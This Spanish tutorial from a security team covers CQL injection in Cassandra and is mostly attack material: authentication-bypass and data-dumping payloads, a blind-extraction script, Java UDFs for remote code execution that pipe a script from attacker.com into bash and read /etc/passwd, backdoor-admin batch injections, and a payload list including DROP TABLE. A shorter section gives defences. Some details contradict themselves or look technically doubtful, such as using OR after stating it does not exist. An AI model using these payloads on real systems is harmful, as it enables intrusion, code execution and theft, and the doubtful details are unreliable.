CQL Injection en Cassandra
Aunque Cassandra usa CQL (Cassandra Query Language) similar a SQL, también es vulnerable a inyecciones cuando las queries se construyen con concatenación de strings. La diferencia clave: Cassandra no tiene operador UNION, lo que requiere técnicas diferentes.
Diferencias con SQL
- ❌ No existe
UNIONniJOIN - ❌ No hay subconsultas (subqueries)
- ❌ No existe
ORen WHERE - ✅ SÍ existe
ALLOW FILTERING(peligroso) - ✅ SÍ existen funciones y user-defined functions (UDF)
1. Bypass de Autenticación
Escenario Vulnerable
Node.js con concatenación insegura
javascriptconst cassandra = require('cassandra-driver');
const client = new cassandra.Client({ contactPoints: ['127.0.0.1'] });
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ❌ VULNERABLE - Concatenación directa
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
const result = await client.execute(query);
if (result.rows.length > 0) {
res.json({ success: true, user: result.rows[0] });
}
});Payload - Comentar Condición de Password
A diferencia de SQL, Cassandra usa // para comentarios de línea:
Request malicioso
jsonPOST /login HTTP/1.1
Content-Type: application/json
{
"username": "admin' //",
"password": "cualquiercosa"
}Query resultante
sqlSELECT * FROM users
WHERE username = 'admin' //' AND password = 'cualquiercosa'
-- Todo después de // es comentario
-- Equivalente a: SELECT * FROM users WHERE username = 'admin'Resultado
El atacante inicia sesión como 'admin' sin conocer la contraseña.
2. Exfiltración de Datos
ALLOW FILTERING: Tu Nuevo Mejor Amigo
En Cassandra, ALLOW FILTERING permite queries sobre columnas no indexadas. Podemos abusar de esto para extraer datos:
Payload - Enumerar usuarios
sql' ALLOW FILTERING //
-- Query completa:
SELECT * FROM users WHERE username = '' ALLOW FILTERING //' AND password = '...'
-- Retorna TODOS los usuariosBlind Injection con Token
Cassandra usa tokens para particionar datos. Podemos usar esto para blind injection:
Script - Exfiltración character-by-character
pythonimport requests
import string
url = "http://target.com/api/search"
charset = string.ascii_lowercase + string.digits + '_'
def check_char(position, char):
# Usar token() para comparaciones
payload = f"' AND token(username) > 0 AND username >= '{char}' ALLOW FILTERING //"
response = requests.post(url, json={
"search": payload
})
return len(response.json()['results']) > 0
extracted = ""
for pos in range(1, 50):
for char in charset:
if check_char(pos, extracted + char):
extracted += char
print(f"Found: {extracted}")
break
print(f"Final: {extracted}")3. RCE via User-Defined Functions
¡UDFs pueden ejecutar código Java!
Si tienes permisos para crear UDFs, puedes ejecutar código Java arbitrario.
Crear UDF Maliciosa
Payload - UDF para RCE
sqlCREATE OR REPLACE FUNCTION evil_udf(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
try {
Runtime.getRuntime().exec(input);
return "executed";
} catch (Exception e) {
return e.getMessage();
}
$$;
-- Ejecutar comando
SELECT evil_udf('curl http://attacker.com/shell.sh | bash') FROM system.local;UDF para Exfiltración
Payload - Leer archivos del sistema
sqlCREATE FUNCTION read_file(filepath text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
try {
java.nio.file.Path path = java.nio.file.Paths.get(filepath);
byte[] data = java.nio.file.Files.readAllBytes(path);
return new String(data);
} catch (Exception e) {
return "error";
}
$$;
-- Leer archivo
SELECT read_file('/etc/passwd') FROM system.local;Permisos Necesarios
Necesitas permiso
CREATE en el keyspace. Pero muchas aplicaciones usan credenciales con permisos excesivos.4. Batch Injection
Cassandra permite ejecutar múltiples statements en un BATCH:
Payload - Inyectar múltiples queries
sql'; INSERT INTO admins (username, password) VALUES ('backdoor', 'hacked123'); //
-- Query completa:
UPDATE users SET email = '';
INSERT INTO admins (username, password) VALUES ('backdoor', 'hacked123');
//' WHERE id = ...Código vulnerable a batch injection
javascript// Aplicación permite actualizar perfil
app.post('/update-profile', async (req, res) => {
const { userId, bio } = req.body;
// ❌ VULNERABLE
const query = `UPDATE users SET bio = '${bio}' WHERE user_id = ${userId}`;
await client.execute(query);
});Exploit Completo
Request - Crear usuario admin
jsonPOST /update-profile HTTP/1.1
{
"userId": 123,
"bio": "My bio'; INSERT INTO users (user_id, username, password, role) VALUES (999, 'hacker', 'pwned', 'ADMIN') USING TIMESTAMP 9999999999999999; //"
}USING TIMESTAMP con valor muy alto asegura que nuestro INSERT tenga prioridad sobre otros updates.Mitigación para Developers
✅ Código Seguro con Prepared Statements
SIEMPRE usa prepared statements con placeholders
✅ SEGURO - Prepared statement
javascriptconst cassandra = require('cassandra-driver');
const client = new cassandra.Client({ contactPoints: ['127.0.0.1'] });
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ✅ SEGURO - Usar placeholders
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
const params = [username, password];
const result = await client.execute(query, params, { prepare: true });
if (result.rows.length > 0) {
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});✅ SEGURO - Python con cassandra-driver
pythonfrom cassandra.cluster import Cluster
from cassandra.query import SimpleStatement
cluster = Cluster(['127.0.0.1'])
session = cluster.connect('myapp')
# ✅ SEGURO - Usar prepared statement
def get_user(username):
query = "SELECT * FROM users WHERE username = ?"
prepared = session.prepare(query)
# Los valores se escapan automáticamente
result = session.execute(prepared, [username])
return result.one()
# ✅ También seguro con named parameters
def update_profile(user_id, new_bio):
query = "UPDATE users SET bio = :bio WHERE user_id = :id"
session.execute(query, {'bio': new_bio, 'id': user_id})Deshabilitar UDFs en Producción
cassandra.yaml - Configuración segura
yaml# Deshabilitar User Defined Functions
enable_user_defined_functions: false
# Deshabilitar scripted UDFs (JavaScript, etc)
enable_scripted_user_defined_functions: false
# Limitar permisos de usuario de aplicación
# En cqlsh:
REVOKE CREATE ON ALL KEYSPACES FROM app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON KEYSPACE myapp TO app_user;Validación de Input
Validación adicional (defensa en profundidad)
javascriptfunction validateUsername(username) {
// Solo alfanumérico y guiones bajos
if (!/^[a-zA-Z0-9_]{3,20}$/.test(username)) {
throw new Error('Invalid username format');
}
// Blacklist de caracteres peligrosos
const dangerous = ["'", '"', ';', '--', '//', '/*', '*/', 'ALLOW FILTERING'];
for (const pattern of dangerous) {
if (username.toLowerCase().includes(pattern.toLowerCase())) {
throw new Error('Invalid characters detected');
}
}
return username;
}
app.post('/login', async (req, res) => {
try {
const username = validateUsername(req.body.username);
const password = req.body.password;
// Aún así, usar prepared statement
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
const result = await client.execute(query, [username, password], { prepare: true });
// ... resto del código
} catch (error) {
res.status(400).json({ error: error.message });
}
});5. Herramientas de Testing
SQLMap con CQL (limitado)
bash# SQLMap tiene soporte limitado para Cassandra
sqlmap -u "http://target.com/api/user?id=1" \
--dbms=cassandra \
--batch \
--level 5 \
--risk 3Script personalizado de testing
pythonimport requests
payloads = [
"' ALLOW FILTERING //",
"' OR 1=1 ALLOW FILTERING //",
"'; DROP TABLE users; //",
"' AND token(id) > 0 //",
"admin' //",
]
for payload in payloads:
response = requests.post('http://target.com/login', json={
'username': payload,
'password': 'test'
})
print(f"Payload: {payload}")
print(f"Status: {response.status_code}")
print(f"Response length: {len(response.text)}")
print("---")Siguiente: SQLite Local Injection
Explotar SQLite en aplicaciones localesPor Aitana Security Team